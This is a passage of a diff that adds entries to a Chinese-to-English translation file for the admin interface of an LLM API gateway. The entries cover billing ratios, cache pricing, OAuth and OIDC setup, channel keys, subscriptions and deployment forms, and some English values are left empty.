+    "缓存目录磁盘空间": "Cache Directory Disk Space",
+    "缓存读": "Cache Read",
+    "缓存读 {{price}} / 1M tokens": "Cache read {{price}} / 1M tokens",
+    "缓存读取：{{tokens}} / 1M * 模型倍率 {{modelRatio}} * 缓存倍率 {{cacheRatio}} * {{ratioType}} {{ratio}} = {{amount}}": "Cache read: {{tokens}} / 1M * model ratio {{modelRatio}} * cache ratio {{cacheRatio}} * {{ratioType}} {{ratio}} = {{amount}}",
+    "缓存读取价格": "Input Cache Read Price",
+    "缓存读取价格 {{symbol}}{{price}} / 1M tokens": "Cache read price {{symbol}}{{price}} / 1M tokens",
+    "缓存读取价格：{{symbol}}{{price}} / 1M tokens": "Cache read price: {{symbol}}{{price}} / 1M tokens",
+    "缓存读取价格：{{symbol}}{{total}} / 1M tokens": "Cache read price: {{symbol}}{{total}} / 1M tokens",
+    "缓存读取倍率": "",
+    "缓存输入：{{tokens}} / 1M * 模型倍率 {{modelRatio}} * 缓存倍率 {{cacheRatio}} * {{ratioType}} {{ratio}} = {{amount}}": "Cached input: {{tokens}} / 1M * model ratio {{modelRatio}} * cache ratio {{cacheRatio}} * {{ratioType}} {{ratio}} = {{amount}}",
+    "编辑": "Edit",
+    "编辑 OAuth 提供商": "Edit OAuth Provider",
+    "编辑API": "Edit API",
+    "编辑产品": "Edit Product",
+    "编辑供应商": "Edit Provider",
+    "编辑公告": "Edit Notice",
+    "编辑公告内容": "Edit announcement content",
+    "编辑分类": "Edit Category",
+    "编辑成功": "Edit Successful",
+    "编辑提供商": "Edit Provider",
+    "编辑支付方式": "",
+    "编辑方式": "Edit Mode",
+    "编辑标签": "Edit Tag",
+    "编辑模型": "Edit Model",
+    "编辑模式": "Edit Mode",
+    "编辑用户": "Edit User",
+    "编辑聊天配置": "Edit Chat Configuration",
+    "编辑规则": "Edit Rule",
+    "编辑问答": "Edit FAQ",
+    "缩词": "Shorten",
+    "缺省 MaxTokens": "Default MaxTokens",
+    "网站地址": "Website Address",
+    "网站域名标识": "Website Domain ID",
+    "网络连接失败，请检查网络设置或稍后重试": "Network connection failed, please check network settings or try again later",
+    "网络配置": "Network Configuration",
+    "网络错误": "Network Error",
+    "置信度": "Confidence",
+    "美元": "US Dollar",
+    "聊天": "Chat",
+    "聊天会话管理": "Chat session management",
+    "聊天区域": "Chat Area",
+    "聊天应用名称": "Chat Application Name",
+    "聊天应用名称已存在，请使用其他名称": "Chat application name already exists, please use another name",
+    "聊天设置": "Chat",
+    "聊天配置": "Chat configuration",
+    "聊天链接配置错误，请联系管理员": "Chat link configuration error, please contact administrator",
+    "联系我们": "Contact Us",
+    "腾讯混元": "Hunyuan",
+    "自动分组": "Auto Group",
+    "自动分组auto，从第一个开始选择": "Auto grouping auto, select from the first one",
+    "自动分组选择": "Auto Group Selection",
+    "自动刷新": "Auto Refresh",
+    "自动刷新中": "Auto refreshing",
+    "自动填充字段": "Auto-fill Fields",
+    "自动填入": "Auto-fill",
+    "自动检测": "Auto-detect",
+    "自动模式": "Auto Mode",
+    "自动测试所有通道间隔时间": "Auto test interval for all channels",
+    "自动生成：": "Auto-generated: ",
+    "自动禁用": "Auto disabled",
+    "自动禁用关键词": "Automatic disable keywords",
+    "自动禁用状态码": "Auto-disable status codes",
+    "自动禁用状态码格式不正确": "Invalid auto-disable status code format",
+    "自动选择": "Auto Select",
+    "自动重试状态码": "Auto-retry status codes",
+    "自动重试状态码格式不正确": "Invalid auto-retry status code format",
+    "自定义": "Custom",
+    "自定义 JSON": "Custom JSON",
+    "自定义 OAuth 提供商": "Custom OAuth Providers",
+    "自定义充值数量选项": "Custom Recharge Amount Options",
+    "自定义充值数量选项不是合法的 JSON 数组": "Custom recharge amount options is not a valid JSON array",
+    "自定义变焦-提交": "Custom Zoom-Submit",
+    "自定义模型名称": "Custom model name",
+    "自定义模式下不可用": "Not available in custom mode",
+    "自定义秒数": "Custom seconds",
+    "自定义请求体模式": "Custom Request Body Mode",
+    "自定义货币": "Custom currency",
+    "自定义货币符号": "Custom currency symbol",
+    "自定义货币符号将显示在所有额度数值前，例如 €1.50": "Custom currency symbol will appear before all quota amounts, e.g. €1.50",
+    "自定义错误响应": "Custom Error Response",
+    "自定义镜像": "Custom Image",
+    "自用模式": "Self-use mode",
+    "自适应列表": "Adaptive list",
+    "至": "until",
+    "节省": "Save",
+    "花费": "Spend",
+    "花费时间": "Time spent",
+    "若你的 OIDC Provider 支持 Discovery Endpoint，你可以仅填写 OIDC Well-Known URL，系统会自动获取 OIDC 配置": "If your OIDC Provider supports Discovery Endpoint, you can only fill in the OIDC Well-Known URL, and the system will automatically obtain the OIDC configuration",
+    "获取 Discovery 配置": "Fetch Discovery Configuration",
+    "获取 Discovery 配置失败：": "Failed to fetch Discovery configuration: ",
+    "获取 io.net API Key": "Get io.net API Key",
+    "获取 OIDC 配置失败，请检查网络状况和 Well-Known URL 是否正确": "Failed to get OIDC configuration, please check network status and whether the Well-Known URL is correct",
+    "获取 OIDC 配置成功！": "OIDC configuration obtained successfully!",
+    "获取 Ollama 版本失败": "Failed to get Ollama version",
+    "获取2FA状态失败": "Failed to get Two-Factor Authentication status",
+    "获取令牌密钥失败": "",
+    "获取充值配置失败": "Failed to get topup configuration",
+    "获取充值配置异常": "Topup configuration error",
+    "获取初始化状态失败": "Failed to get initialization status",
+    "获取可用资源失败: ": "Failed to get available resources: ",
+    "获取启用模型失败": "Failed to get enabled models",
+    "获取启用模型失败:": "Failed to get enabled models:",
+    "获取容器信息失败": "Failed to get container information",
+    "获取容器列表失败": "Failed to get container list",
+    "获取容器详情失败": "Failed to get container details",
+    "获取密钥": "Get Key",
+    "获取密钥失败": "Failed to get key",
+    "获取密钥状态失败": "Failed to get key status",
+    "获取日志失败": "Failed to get logs",
+    "获取未配置模型失败": "Failed to get unconfigured models",
+    "获取模型列表": "Get Model List",
+    "获取模型列表失败": "Failed to retrieve model list",
+    "获取渠道失败：": "Failed to get channels: ",
+    "获取硬件类型失败: ": "Failed to get hardware types: ",
+    "获取签到状态失败": "Failed to get check-in status",
+    "获取组列表失败": "Failed to get group list",
+    "获取绑定信息失败": "Failed to fetch binding information",
+    "获取自定义 OAuth 提供商列表失败": "Failed to fetch custom OAuth provider list",
+    "获取详情失败": "Failed to get details",
+    "获取部署列表失败": "Failed to get deployment list",
+    "获取金额失败": "Failed to get amount",
+    "获取验证码": "Get Verification Code",
+    "获得": "Received",
+    "补全": "Completion",
+    "补全 {{completion}} tokens * 输出倍率 {{completionRatio}}": "Completion {{completion}} tokens * Output ratio {{completionRatio}}",
+    "补全 {{completion}} tokens / 1M tokens * {{symbol}}{{price}}": "Completion {{completion}} tokens / 1M tokens * {{symbol}}{{price}}",
+    "补全价格": "Completion Price",
+    "补全价格：{{symbol}}{{price}} * {{completionRatio}} = {{symbol}}{{total}} / 1M tokens (补全倍率: {{completionRatio}})": "Completion price: {{symbol}}{{price}} * {{completionRatio}} = {{symbol}}{{total}} / 1M tokens (Completion ratio: {{completionRatio}})",
+    "补全价格：{{symbol}}{{price}} * {{ratio}} = {{symbol}}{{total}} / 1M tokens": "Completion price: {{symbol}}{{price}} * {{ratio}} = {{symbol}}{{total}} / 1M tokens",
+    "补全价格已锁定": "Completion price is locked",
+    "补全倍率": "Completion ratio",
+    "补全倍率 {{completionRatio}}": "Completion ratio {{completionRatio}}",
+    "补全倍率值": "Completion Ratio Value",
+    "补单": "Complete Order",
+    "补单失败": "Failed to complete order",
+    "补单成功": "Order completed successfully",
+    "表单引用错误，请刷新页面重试": "Form reference error, please refresh the page and try again",
+    "表格视图": "Table view",
+    "覆盖": "Override",
+    "覆盖模式：将完全替换现有的所有密钥": "Overwrite mode: completely replace all existing keys",
+    "覆盖模板": "Override Template",
+    "覆盖现有密钥": "Overwrite existing key",
+    "规则": "Rule",
+    "规则 JSON": "Rule JSON",
+    "规则 JSON 格式不正确": "Rule JSON format is incorrect",
+    "规则 ttl_seconds 为 0 时使用。0 表示使用后端默认 TTL：3600 秒。": "Used when rule ttl_seconds is 0. 0 means using backend default TTL: 3600 seconds.",
+    "规则为 JSON 数组；可视化与 JSON 模式共用同一份数据。": "Rules are a JSON array; visual and JSON modes share the same data.",
+    "规则名称（可读性更好，也会出现在管理侧日志中）。": "Rule name (for better readability, also appears in admin logs).",
+    "规则导航": "Rule Navigation",
+    "规则描述（可选）": "",
+    "规则未找到，请刷新后重试": "Rule not found, please refresh and try again",
+    "角色": "Role",
+    "解析响应数据时发生错误": "An error occurred while parsing response data",
+    "解析密钥文件失败: {{msg}}": "Failed to parse key file: {{msg}}",
+    "解析错误": "Parse Error",
+    "解绑": "Unbind",
+    "解绑 Passkey": "Remove Passkey",
+    "解绑后将无法使用 Passkey 登录，确定要继续吗？": "After unbinding, you will not be able to login with Passkey. Are you sure you want to continue?",
+    "解绑成功": "Unbind successful",
+    "计价币种": "Pricing Currency",
+    "计算中": "Calculating",
+    "计算成本": "Calculate Cost",
+    "计算费用中...": "Calculating fees...",
+    "计费乘数，倍率越低费用越低。例如倍率 0.5 表示半价。": "Billing multiplier — the lower the ratio, the lower the cost. E.g., ratio 0.5 means half price.",
+    "计费开始": "Billing Start",
+    "计费摘要": "",
+    "计费方式": "Billing Mode",
+    "计费显示模式": "Billing Display Mode",
+    "计费模式": "Billing mode",
+    "计费类型": "Billing type",
+    "计费过程": "Billing process",
+    "订单号": "Order No.",
+    "订单支付方式": "Order Payment Method",
+    "订阅": "Subscription",
+    "订阅剩余": "Subscription Remaining",
+    "订阅套餐": "Subscription Plans",
+    "订阅套餐管理": "Subscription Plan Management",
+    "订阅实例": "Subscription Instance",
+    "订阅抵扣": "Subscription deduction",
+    "订阅管理": "Subscription Management",
+    "订阅结算": "Subscription Settlement",
+    "订阅说明": "Subscription Description",
+    "认证方式": "Auth Style",
+    "讯飞星火": "Spark Desk",
+    "记录请求与错误日志IP": "Record request and error log IP",
+    "设备": "Device",
+    "设备类型偏好": "Device Type Preference",
+    "设置": "",
+    "设置 Logo": "Set Logo",
+    "设置2FA失败": "Failed to set up Two-Factor Authentication",
+    "设置不同充值金额对应的折扣，键为充值金额，值为折扣率，例如：{\"100\": 0.95, \"200\": 0.9, \"500\": 0.85}": "Set discounts for different recharge amounts, where the key is the recharge amount and the value is the discount rate, for example: {\"100\": 0.95, \"200\": 0.9, \"500\": 0.85}",
+    "设置两步验证": "Set up two-factor authentication",
+    "设置令牌可用额度和数量": "Set token available quota and quantity",
+    "设置令牌的基本信息": "Set token basic information",
+    "设置令牌的访问限制": "Set token access restrictions",
+    "设置保存失败": "Settings save failed",
+    "设置保存成功": "Settings saved successfully",
+    "设置兑换码的基本信息": "Set redemption code basic information",
+    "设置兑换码的额度和数量": "Set redemption code quota and quantity",
+    "设置公告": "Set notice",
+    "设置关于": "Set about",
+    "设置已保存": "Settings saved",
+    "设置模型的基本信息": "Set the basic information of the model",
+    "设置用于接收额度预警的邮箱地址，不填则使用账号绑定的邮箱": "Set the email address for receiving quota warning notifications, if not set, the email address bound to the account will be used",
+    "设置用户协议": "Set user agreement",
+    "设置用户可选择的充值数量选项，例如：[10, 20, 50, 100, 200, 500]": "Set recharge amount options that users can choose from, for example: [10, 20, 50, 100, 200, 500]",
+    "设置管理员登录信息": "Set administrator login information",
+    "设置类型": "Setting Type",
+    "设置系统名称": "Set system name",
+    "设置过短会影响数据库性能": "Setting too short will affect database performance",
+    "设置隐私政策": "Set privacy policy",
+    "设置页脚": "Set Footer",
+    "设置预填组的基本信息": "Set the basic information of the pre-filled group",
+    "设置首页内容": "Set home page content",
+    "设置默认地区和特定模型的专用地区": "Set default region and dedicated regions for specific models",
+    "设计与开发由": "Designed & Developed by",
+    "设计版本": "b80c3466cb6feafeb3990c7820e10e50",
+    "设请求头": "",
+    "访问 io.net 控制台的 API Keys 页面": "Visit the API Keys page of the io.net console",
+    "访问容器": "Access Container",
+    "访问模型部署功能需要先启用 io.net 部署服务": "Accessing model deployment features requires enabling the io.net deployment service first",
+    "访问限制": "Access Restrictions",
+    "该供应商提供多种AI模型，适用于不同的应用场景。": "This supplier provides multiple AI models, suitable for different application scenarios.",
+    "该分类下没有可用模型": "No available models under this category",
+    "该域名已存在于白名单中": "The domain already exists in the whitelist",
+    "该套餐未配置 Creem": "This plan is not configured for Creem",
+    "该套餐未配置 Stripe": "This plan is not configured for Stripe",
+    "该数据可能不可信，请谨慎使用": "This data may not be reliable, please use with caution",
+    "该服务器地址将影响支付回调地址以及默认首页展示的地址，请确保正确配置": "This server address will affect the payment callback address and the address displayed on the default homepage, please ensure correct configuration",
+    "该模型存在固定价格与倍率计费方式冲突，请确认选择": "The model has a fixed price and ratio billing method conflict, please confirm the selection",
+    "该模型补全倍率由后端固定为 {{ratio}}。补全价格不能在这里修改。": "This model's completion ratio is fixed to {{ratio}} by the backend. The completion price cannot be changed here.",
+    "该渠道已开启请求透传，参数覆写、模型重定向等 NewAPI 内置功能将失效，非最佳实践。": "Request pass-through is enabled for this channel; built-in NewAPI features such as parameter overrides and model redirection will be disabled. This is not a best practice.",
+    "该渠道已开启请求透传：参数覆写、模型重定向、渠道适配等 NewAPI 内置功能将失效，非最佳实践；如因此产生问题，请勿提交 issue 反馈。": "Request pass-through is enabled for this channel. Built-in NewAPI features such as parameter overrides, model redirection, and channel adaptation will be disabled. This is not a best practice. If this causes issues, please do not submit an issue.",
+    "该渠道暂无可处理的上游模型更新": "",
+    "该渠道未开启上游模型更新检测": "",
+    "该规则未启用“作用域：包含规则名称”，无法按规则清空缓存。": "This rule has not enabled \"Scope: Include Rule Name\", cannot clear cache by rule.",
+    "该规则未设置参数覆盖模板": "This rule has no parameter override template set",
+    "该规则的缓存保留时长；0 表示使用默认 TTL：": "Cache retention duration for this rule; 0 means using default TTL: ",
+    "该记录不包含可用的 token 统计口径。": "This record does not contain available token statistics.",
+    "该记录由旧版本实例写入，缺少审计信息，建议将实例升级至最新版本以便记录服务器IP、回调IP、支付方式与系统版本等审计字段。": "This record was written by an older instance and lacks audit info. Please upgrade the instance to the latest version so that server IP, callback IP, payment method, and system version audit fields are recorded.",
+    "详情": "Details",
+    "详见「特殊倍率」和「可用分组」标签页。": "See \"Special Ratios\" and \"Usable Groups\" tabs for details.",
+    "语言偏好": "Language Preference",
+    "语言偏好已保存": "Language preference saved",
+    "语音输入": "Voice input",
+    "语音输出": "Voice output",
+    "说明": "Description",
+    "说明：": "Instructions:",
+    "说明：本页测试为非流式请求；若渠道仅支持流式返回，可能出现测试失败，请以实际使用为准。": "Note: Tests on this page use non-streaming requests. If a channel only supports streaming responses, tests may fail. Please rely on actual usage.",
+    "说明：生成结果是可直接粘贴到渠道密钥里的 JSON（包含 access_token / refresh_token / account_id）。": "Note: The generated result is a JSON that can be pasted directly into the channel key (includes access_token / refresh_token / account_id).",
+    "说明信息": "Description",
+    "请上传密钥文件": "Please upload the key file",
+    "请上传密钥文件！": "Please upload the key file!",
+    "请为渠道命名": "Please name the channel",
+    "请使用 Project 为 io.cloud 的密钥": "Please use a key with Project set to io.cloud",
+    "请先勾选需要批量设置的模型": "Please select the models you want to update in batch first",
+    "请先在设置中启用图片功能": "Please enable image feature in settings first",
+    "请先填写 API Key": "Please fill in API Key first",
+    "请先填写 Discovery URL 或 Issuer URL": "Please fill in Discovery URL or Issuer URL first",
+    "请先填写 Issuer URL，以自动生成完整的端点 URL": "Please fill in Issuer URL first to auto-generate complete endpoint URLs",
+    "请先填写 Ollama API 地址": "Please fill in Ollama API address first",
+    "请先填写服务器地址": "Please fill in the server address first",
+    "请先填写服务器地址，以自动生成完整的端点 URL": "Please enter the server address first to auto-generate full endpoint URLs",
+    "请先开启并填写音频输入价格。": "Enable and fill in the audio input price first.",
+    "请先新增模型或从左侧列表选择一个模型": "",
+    "请先粘贴回调 URL": "Please paste the callback URL first",
+    "请先输入密钥": "Please enter the key first",
+    "请先选择一个作为模板的模型": "Please select a model to use as the template first",
+    "请先选择一条规则": "Please select a rule first",
+    "请先选择同步渠道": "Please select the synchronization channel first",
+    "请先选择模型！": "Please select a model first!",
+    "请先选择硬件类型": "Please select hardware type first",
+    "请先选择要删除的令牌！": "Please select the token to be deleted!",
+    "请先选择要删除的通道！": "Please select the channel you want to delete first!",
+    "请先选择要设置标签的渠道！": "Please select the channel to set tags for first!",
+    "请先选择需要批量设置的模型": "Please select models for batch setting first",
+    "请先阅读并同意用户协议和隐私政策": "Please read and agree to the user agreement and privacy policy first",
+    "请再次输入新密码": "Please enter the new password again",
+    "请前往个人设置 → 安全设置进行配置。": "Please go to Personal Settings → Security Settings to configure.",
+    "请勿过度信任此功能，IP可能被伪造，请配合nginx和cdn等网关使用": "Do not over-trust this feature, IP can be spoofed, please use it in conjunction with gateways such as nginx and CDN",
+    "请在 Waffo 后台获取 API 密钥、商户 ID 以及 RSA 密钥对，并配置回调地址。": "",
+    "请在系统设置页面编辑分组倍率以添加新的分组：": "Please edit Group ratios in system settings to add new groups:",
+    "请填写完整的产品信息": "Please fill in complete product information",
+    "请填写完整的管理员账号信息": "Please fill in the complete administrator account information",
+    "请填写密钥": "Please enter the key",
+    "请填写渠道名称和渠道密钥！": "Please enter channel name and key!",
+    "请填写部署地区": "Please fill in the deployment region",
+    "请妥善保管密钥信息，不要泄露给他人。如有安全疑虑，请及时更换密钥。": "Keep key information secure, do not disclose to others. If there are security concerns, please change the key immediately.",
+    "请尝试其他搜索关键词": "Please try other search keywords",
+    "请检查渠道配置或刷新重试": "Please check the channel configuration or refresh and try again",
+    "请检查表单填写是否正确": "Please check if the form is filled out correctly",
+    "请检查输入": "Please check your input",
+    "请求体 JSON": "Request Body JSON",
+    "请求体内存缓存": "Request Body Memory Cache",
+    "请求体磁盘缓存": "Request Body Disk Cache",
+    "请求体超过此大小时使用磁盘缓存": "Use disk cache when request body exceeds this size",
+    "请求参数无效": "Invalid request parameters",
+    "请求发生错误": "An error occurred with the request",
+    "请求发生错误: ": "An error occurred with the request: ",
+    "请求后端接口失败：": "Failed to request the backend interface: ",
+    "请求失败": "Request failed",
+    "请求头覆盖": "Request header override",
+    "请求并计费模型": "Request and charge model",
+    "请求时长: ${time}s": "Request time: ${time}s",
+    "请求次数": "Number of Requests",
+    "请求结束后多退少补": "Adjust after request completion",
+    "请求超时，请刷新页面后重新发起 GitHub 登录": "Request timed out, please refresh and restart GitHub login",
+    "请求路径": "Request path",
+    "请求转换": "Request conversion",
+    "请求配置": "Request Configuration",
+    "请求预扣费额度": "Pre-deduction quota for requests",
+    "请点击我": "Please click me",
+    "请确认以下设置信息，点击\"初始化系统\"开始配置": "Please confirm the following settings information, click \"Initialize system\" to start configuration",
+    "请确认您已了解禁用两步验证的后果": "Please confirm that you understand the consequences of disabling two-factor authentication",
+    "请确认管理员密码": "Please confirm the admin password",
+    "请稍后几秒重试，Turnstile 正在检查用户环境！": "Please try again in a few seconds, Turnstile is checking the user environment!",
+    "请粘贴完整回调 URL（包含 code 与 state）": "Please paste the complete callback URL (including code and state)",
+    "请联系管理员在系统设置中配置API信息": "Please contact the administrator to configure API information in the system settings.",
+    "请联系管理员在系统设置中配置Uptime": "Please contact the administrator to configure Uptime in the system settings.",
+    "请联系管理员在系统设置中配置公告信息": "Please contact the administrator to configure notice information in the system settings.",
+    "请联系管理员在系统设置中配置常见问答": "Please contact the administrator to configure FAQ information in the system settings.",
+    "请联系管理员配置聊天链接": "Please contact the administrator to configure the chat link",
+    "请至少选择一个令牌！": "Please select at least one token!",
+    "请至少选择一个兑换码！": "Please select at least one redemption code!",
+    "请至少选择一个模型": "Please select at least one model",
+    "请至少选择一个模型！": "Please select at least one model!",
+    "请至少选择一个渠道": "Please select at least one channel",
+    "请输入 API Key，一行一个，格式：APIKey|Region": "Enter API Key, one per line, format: APIKey|Region",
+    "请输入 API Key，格式：APIKey|Region": "Enter API Key, format: APIKey|Region",
+    "请输入 Authorization Endpoint": "Please enter Authorization Endpoint",
+    "请输入 AZURE_OPENAI_ENDPOINT，例如：https://docs-test-001.openai.azure.com": "Please enter AZURE_OPENAI_ENDPOINT, e.g.: https://docs-test-001.openai.azure.com",
+    "请输入 Client ID": "Please enter Client ID",
+    "请输入 Client Secret": "Please enter Client Secret",
+    "请输入 io.net API Key": "Please enter io.net API Key",
+    "请输入 io.net API Key（敏感信息不显示）": "Please enter io.net API Key (sensitive information not displayed)",
+    "请输入 JSON 格式的 OAuth 凭据，例如：\n{\n  \"access_token\": \"...\",\n  \"account_id\": \"...\" \n}": "Please enter OAuth credentials in JSON format, e.g.:\n{\n  \"access_token\": \"...\",\n  \"account_id\": \"...\" \n}",
+    "请输入 JSON 格式的密钥内容，例如：\n{\n  \"type\": \"service_account\",\n  \"project_id\": \"your-project-id\",\n  \"private_key_id\": \"...\",\n  \"private_key\": \"...\",\n  \"client_email\": \"...\",\n  \"client_id\": \"...\",\n  \"auth_uri\": \"...\",\n  \"token_uri\": \"...\",\n  \"auth_provider_x509_cert_url\": \"...\",\n  \"client_x509_cert_url\": \"...\"\n}": "Please enter the key content in JSON format, for example:\n{\n  \"type\": \"service_account\",\n  \"project_id\": \"your-project-id\",\n  \"private_key_id\": \"...\",\n  \"private_key\": \"...\",\n  \"client_email\": \"...\",\n  \"client_id\": \"...\",\n  \"auth_uri\": \"...\",\n  \"token_uri\": \"...\",\n  \"auth_provider_x509_cert_url\": \"...\",\n  \"client_x509_cert_url\": \"...\"\n}",
+    "请输入 OIDC 的 Well-Known URL": "Please enter the Well-Known URL for OIDC",
+    "请输入 Slug": "Please enter Slug",
+    "请输入 Token Endpoint": "Please enter Token Endpoint",
+    "请输入 User Info Endpoint": "Please enter User Info Endpoint",
+    "请输入6位验证码或8位备用码": "Please enter a 6-digit verification code or 8-digit backup code",
+    "请输入API地址": "Please enter the API address",
+    "请输入API地址！": "Please enter the API address!",
+    "请输入Bark推送URL": "Please enter Bark push URL",
+    "请输入Bark推送URL，例如: https://api.day.app/yourkey/{{title}}/{{content}}": "Please enter Bark push URL, e.g.: https://api.day.app/yourkey/{{title}}/{{content}}",
+    "请输入Gotify应用令牌": "Please enter Gotify application token",
+    "请输入Gotify服务器地址": "Please enter Gotify server address",
+    "请输入Gotify服务器地址，例如: https://gotify.example.com": "Please enter Gotify server address, e.g.: https://gotify.example.com",
+    "请输入JSON数组，如 [\"model-a\",\"model-b\"]": "Enter a JSON array, e.g. [\"model-a\",\"model-b\"]",
+    "请输入Uptime Kuma地址": "Please enter the Uptime Kuma address",
+    "请输入Uptime Kuma服务地址，如：https://status.example.com": "Please enter the Uptime Kuma service address, such as: https://status.example.com",
+    "请输入URL链接": "Please enter the URL link",
+    "请输入Webhook地址": "Please enter the Webhook address",
+    "请输入Webhook地址，例如: https://example.com/webhook": "Please enter the Webhook URL, e.g.: https://example.com/webhook",
+    "请输入你的账户名以确认删除！": "Please enter your account name to confirm deletion!",
+    "请输入供应商名称": "Please enter the vendor name",
+    "请输入供应商名称，如：OpenAI": "Please enter the vendor name, such as: OpenAI",
+    "请输入供应商描述": "Please enter the vendor description",
+    "请输入兑换码": "Please enter the redemption code",
+    "请输入兑换码！": "Please enter the redemption code!",
+    "请输入公告内容": "Please enter the notice content",
+    "请输入公告内容（支持 Markdown/HTML）": "Please enter the notice content (supports Markdown/HTML)",
+    "请输入分类名称": "Please enter category name",
+    "请输入分类名称，如：OpenAI、Claude等": "Please enter the category name, such as: OpenAI, Claude, etc.",
+    "请输入到 /suno 前的路径，通常就是域名，例如：https://api.example.com": "Please enter the path before /suno, usually the domain, e.g.: https://api.example.com",
+    "请输入副本数量": "Please enter number of replicas",
+    "请输入原密码": "Please enter the original password",
+    "请输入原密码！": "Please enter the original password!",
+    "请输入名称": "Please enter a name",
+    "请输入回答内容": "Please enter the answer content",
+    "请输入回答内容（支持 Markdown/HTML）": "Please enter the answer content (supports Markdown/HTML)",
+    "请输入图标名称": "Please enter the icon name",
+    "请输入填充值": "Please enter a value",
+    "请输入备注（仅管理员可见）": "Please enter a remark (only visible to administrators)",
+    "请输入套餐标题": "Please enter plan title",
+    "请输入完整的 JSON 格式密钥内容": "Please enter the complete JSON format key content",
+    "请输入完整的URL，例如：https://api.openai.com/v1/chat/completions": "Please enter complete URL, e.g.: https://api.openai.com/v1/chat/completions",
+    "请输入完整的URL链接": "Please enter the complete URL link",
+    "请输入容器名称": "Please enter container name",
+    "请输入密码": "Please enter password",
+    "请输入密钥": "Please enter the key",
+    "请输入密钥，一行一个": "Please enter the key, one per line",
+    "请输入密钥，一行一个，格式：AccessKey|SecretAccessKey|Region": "Enter keys one per line, format: AccessKey|SecretAccessKey|Region",
+    "请输入密钥！": "Please enter the key!",
+    "请输入延长时长": "Please enter extension duration",
+    "请输入总额度": "Please enter total quota",
+    "请输入您的密码": "Please enter your password",
+    "请输入您的用户名以确认删除": "Please enter your username to confirm deletion",
+    "请输入您的用户名或邮箱地址": "Please enter your username or email address",
+    "请输入您的邮箱地址": "Please enter your email address",
+    "请输入您的问题...": "Please enter your question...",
+    "请输入数值": "Enter a value",
+    "请输入数字": "Please enter a number",
+    "请输入新密码": "Please enter the new password",
+    "请输入新密码！": "Please enter the new password!",
+    "请输入新建数量": "Please enter the quantity to create",
+    "请输入新标签，留空则解散标签": "Please enter a new tag, leave blank to dissolve the tag",
+    "请输入新的剩余额度": "Please enter the new remaining quota",
+    "请输入新的密码，最短 8 位": "Please enter a new password, at least 8 characters",
+    "请输入新的显示名称": "Please enter a new display name",
+    "请输入新的用户名": "Please enter a new username",
+    "请输入新的部署名称": "Please enter new deployment name",
+    "请输入显示名称": "Please enter display name",
+    "请输入有效的JSON格式的请求体。您可以参考预览面板中的默认请求体格式。": "Please enter a valid JSON format request body. You can refer to the default request body format in the preview panel.",
+    "请输入有效的数值": "Please enter a valid number",
+    "请输入有效的数字": "Please enter a valid number",
+    "请输入有效的镜像地址": "Please enter a valid image address",
+    "请输入标签名称": "Please enter the tag name",
+    "请输入模型倍率": "Enter model ratio",
+    "请输入模型倍率和补全倍率": "Please enter model ratio and completion ratio",
+    "请输入模型名称": "Please enter the model name",
+    "请输入模型名称，例如: llama3.2, qwen2.5:7b": "Please enter model name, e.g.: llama3.2, qwen2.5:7b",
+    "请输入模型名称，如：gpt-4": "Please enter the model name, such as: gpt-4",
+    "请输入模型描述": "Please enter the model description",
+    "请输入汇率": "Please enter the exchange rate",
+    "请输入消息内容...": "Please enter the message content...",
+    "请输入状态页面Slug": "Please enter the status page Slug",
+    "请输入状态页面的Slug，如：my-status": "Please enter the slug for the status page, such as: my-status",
+    "请输入生成数量": "Please enter the quantity to generate",
+    "请输入用户名": "Please enter username",
+    "请输入私有部署地址，格式为：https://fastgpt.run/api/openapi": "Please enter private deployment address, format: https://fastgpt.run/api/openapi",
+    "请输入秒数": "Please enter seconds",
+    "请输入管理员密码": "Please enter the admin password",
+    "请输入管理员用户名": "Please enter the admin username",
+    "请输入线路描述": "Please enter the route description",
+    "请输入组名": "Please enter the group name",
+    "请输入组描述": "Please enter the group description",
+    "请输入组织org-xxx": "Please enter organization org-xxx",
+    "请输入聊天应用名称": "Please enter chat application name",
+    "请输入补全倍率": "Enter completion ratio",
+    "请输入要延长的小时数": "Please enter the number of hours to extend",
+    "请输入要设置的标签名称": "Please enter the tag name to be set",
+    "请输入认证器验证码": "Please enter authenticator verification code",
+    "请输入认证器验证码或备用码": "Please enter authenticator verification code or backup code",
+    "请输入说明": "Please enter the description",
+    "请输入运行时长": "Please enter runtime duration",
+    "请输入邮箱！": "Please enter your email!",
+    "请输入邮箱地址": "Please enter the email address",
+    "请输入邮箱验证码！": "Please enter the email verification code!",
+    "请输入部署名称": "Please enter deployment name",
+    "请输入部署名称以完成二次确认": "Enter deployment name to complete secondary confirmation",
+    "请输入部署地区，例如：us-central1\n支持使用模型映射格式\n{\n    \"default\": \"us-central1\",\n    \"claude-3-5-sonnet-20240620\": \"europe-west1\"\n}": "Please enter the deployment region, for example: us-central1\nSupports using model mapping format\n{\n    \"default\": \"us-central1\",\n    \"claude-3-5-sonnet-20240620\": \"europe-west1\"\n}",
+    "请输入金额": "Please enter amount",
+    "请输入镜像地址": "Please enter image address",
+    "请输入问题标题": "Please enter the question title",
+    "请输入预警阈值": "Please enter alert threshold",
+    "请输入预警额度": "Please enter alert quota",
+    "请输入额度": "Please enter the quota",
+    "请输入验证码": "Please enter verification code",
+    "请输入验证码或备用码": "Please enter verification code or backup code",
+    "请输入默认 API 版本，例如：2025-04-01-preview": "Please enter default API version, e.g.: 2025-04-01-preview.",
+    "请选择API地址": "Please select API address",
+    "请选择一条规则进行编辑。": "Please select a rule to edit.",
+    "请选择主模型": "Please select primary model",
+    "请选择产品": "Select a product",
+    "请选择你的复制方式": "Please select your copy method",
+    "请选择使用模式": "Please select the usage mode",
+    "请选择分组": "Please select a group",
+    "请选择发布日期": "Please select the publish date",
+    "请选择可以使用该渠道的分组": "Please select groups that can use this channel",
+    "请选择可以使用该渠道的分组，留空则不更改": "Please select the groups that can use this channel, leaving blank will not change",
+    "请选择同步语言": "Please select sync language",
+    "请选择名称匹配类型": "Please select the name matching type",
+    "请选择多密钥使用策略": "Please select multi-key usage policy",
+    "请选择密钥更新模式": "Please select key update mode",
+    "请选择密钥格式": "Please select key format",
+    "请选择支付方式": "Please select a payment method",
+    "请选择日志记录时间": "Please select log record time",
+    "请选择模型": "Please select model",
+    "请选择模型。": "Please select model.",
+    "请选择消息优先级": "Please select message priority",
+    "请选择渠道类型": "Please select channel type",
+    "请选择硬件类型": "Please select hardware type",
+    "请选择组类型": "Please select group type",
+    "请选择至少一个部署位置": "Please select at least one deployment location",
+    "请选择订阅套餐": "Please select a subscription plan",
+    "请选择该令牌支持的模型，留空支持所有模型": "Select models supported by the token, leave blank to support all models",
